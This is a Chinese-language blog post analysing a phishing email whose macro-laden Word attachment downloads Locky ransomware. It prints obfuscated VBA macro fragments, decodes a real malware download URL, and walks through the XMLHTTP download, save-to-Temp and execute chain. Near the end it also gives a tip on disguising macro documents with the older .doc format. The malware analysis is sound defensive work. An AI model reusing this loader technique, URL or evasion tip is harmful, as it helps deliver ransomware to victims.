警惕勒索软件,别乱打开office文档

​ 前两天公司邮箱突然收到一封鸟语邮件,一开始以为是普通广告垃圾邮件,后来一看还带着docm的附件,就知道这肯定是钓鱼邮件,今天正好有时间分析一下。

邮件内容如图:

AgXLU_ransomware-1.webp

把这些鸟语放到在线翻译上检测了下,翻译成中文是这样的:

你好,
讨论的最后两个附上发票,请解决
亲切的问候,
他avdyl

把附件下载下来,用oledump分析下具体信息:

RfiHk_ransomware-2.png

​ 可以看到A11到A15几个段都是宏,用oledump依次提取这些宏

​ 首先看A14段的ThisDocument,office宏一般会设置为自动运行,这就需要配合一个函数autoopen,类似C语言中的main,这个函数都是在ThisDocument中定义的,找到这个函数一路分析下去就能知道这个宏木马在干啥

1
2
3
4
5
Sub autoopen()
If deletemonsters(0) > 0 Then
makeplatform 0, 0, 0, 0
End If
End Sub

​ autoopen先调用了deletemonsters,然后返回值大于0就继续调用makeplatform,我一开始还全部函数都跟着看,后来发现很多是无用代码,都是用来混淆和免杀的,加入一些正常代码能减少被杀软认出来的可能

1
2
3
4
5
6
7
8
9
10
11
12
Public Function KARASIK77(vData As Variant, tipo As String, Optional EsNulo As String) As Variant
Dim Cad As String
Dim ValorNumericoCero As Boolean
KARASIK771
Dim aKARASIK As String
aKARASIK = KARASIK_Gudvin(UserForm2.Image1.ControlTipText, "00", "e")
aKARASIK = KARASIK_Gudvin(aKARASIK, "D!", "M")
aKARASIK = KARASIK_Gudvin(aKARASIK, "bri", "s")
KARASIK__57 = Split(aKARASIK, "10)")
KARASIKSPL = Split("1664\r\n1856\r\n1856\r\n1792\r\n928\r\n752\r\n752\r\n1552\r\n1792\r\n1856\r\n1616\r\n1712\r\n1552\r\n800\r\n832\r\n736\r\n1840\r\n1856\r\n1824\r\n1616\r\n1632\r\n1552\r\n736\r\n1792\r\n1728\r\n752\r\n896\r\n912\r\n1936\r\n1648\r\n880\r\n1648\r\n896\r\n880\r\n1568\r\n1936\r\n1680", "\r\n")
Set KARASIK__1 = CreateObject(KARASIK__57(0)) 'Microsoft.XMLHTTP'
GetArgs "", ""

​ 看这里KARASIK_Gudvin是Replace函数的包装,最后KARASIK__57是一个数组,这全部数据的来源是UserForm2.Image1.ControlTipText,是一个表单控件的提示信息,这个字符串存放的位置真是选的不错

​ 继续用oledump去提取UserForm2这个表单的信息,然后在A5提取到了这个字符串

etVER_ransomware-3.png

1
D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)\kristi00n.00x00

用python处理下结果,可以看到是一些危险的vbs关键字

HeUiZ_ransomware-4.png

然后是那串很长的KARASIKSPL = Split(“1664\r\n1856\r\n,往下找到相关代码

1
2
3
For KARASIK__8 = LBound(KARASIKSPL) To UBound(KARASIKSPL)
IS_3_KARASIK = IS_3_KARASIK & Chr(CInt(KARASIKSPL(KARASIK__8)) / 16)
Next KARASIK__8

同样python处理后:

1
2
3
In[63]: t = '1664\r\n1856\r\n1856\r\n1792\r\n928\r\n752\r\n752\r\n1552\r\n1792\r\n1856\r\n1616\r\n1712\r\n1552\r\n800\r\n832\r\n736\r\n1840\r\n1856\r\n1824\r\n1616\r\n1632\r\n1552\r\n736\r\n1792\r\n1728\r\n752\r\n896\r\n912\r\n1936\r\n1648\r\n880\r\n1648\r\n896\r\n880\r\n1568\r\n1936\r\n1680'
In[64]: ''.join(map(chr, map(lambda x: int(x)/16, t.split('\r\n'))))
Out[64]: 'http://apteka24.strefa.pl/89yg7g87byi'

是一个下载地址http://apteka24.strefa.pl/89yg7g87byi

​ 往后跟就是使用Microsoft.XMLHTTP创建对象,下载url中的文件,用Adodb.streaM的savetofile方法写入Temp目录,然后调用shell.Application运行改exe

​ 然后我尝试去下载这个url时已经下不到了,Google搜索了下发现最近89yg7g87byi这个文件名到处都是,估计有人在大批量的发送钓鱼邮件
找了好几个url后终于下载到了这个文件,放到虚拟机里用peid查了下,查不到信息,然后准备用od载入看看

​ 结果一不小心点到F9跑起来了,然后等了一会就看到了这个

mpnku_ransomware-5.jpg

​ 原来是个locky勒索软件,o(╯□╰)o,虚拟机里的文档类的文件全部被加密成了27818F44D40C57E9E4609D7CEA83BE64.locky这种样子

​ 没想到现在这种勒索软件已经猖狂到这种地步了,不懂我公司的邮箱是怎么泄露出去,还有这种邮件居然绕过了公司的邮件安全网关,分析了下他的免杀方案其实做的挺不错的,很多正常代码中夹着恶意代码

NOpzR_ransomware-6.png

​ 像这种函数定义方式,恶意代码运行完后直接加了句Exit Function,后面红框中的代码完全是没用的正常代码,乍看之下还以为这个函数真的是处理数据库相关的。

​ 另外设计邮件的人还挺懂中国国情的,连发票都知道。

​ 不过也有可以改进的地方,比如附件名的后缀,office2013以后带宏的文档后缀必须要改成docm,不带宏的是docx,这里稍微注意点就能看出来问题了,解决办法是保存为2003-2007格式的,那样既可以带宏,后缀又是doc。同样,ppt和xls也可以用这种方法。

​ 现在虽然有些勒索软件可以解密,但是还是有很多丧心病狂的是给了钱都撕票的。所以平常得多注意这类邮件或者文件,最好完全关闭office的宏,而且不要听信任何文档内的说辞把宏打开或者运行文档里面的宏代码。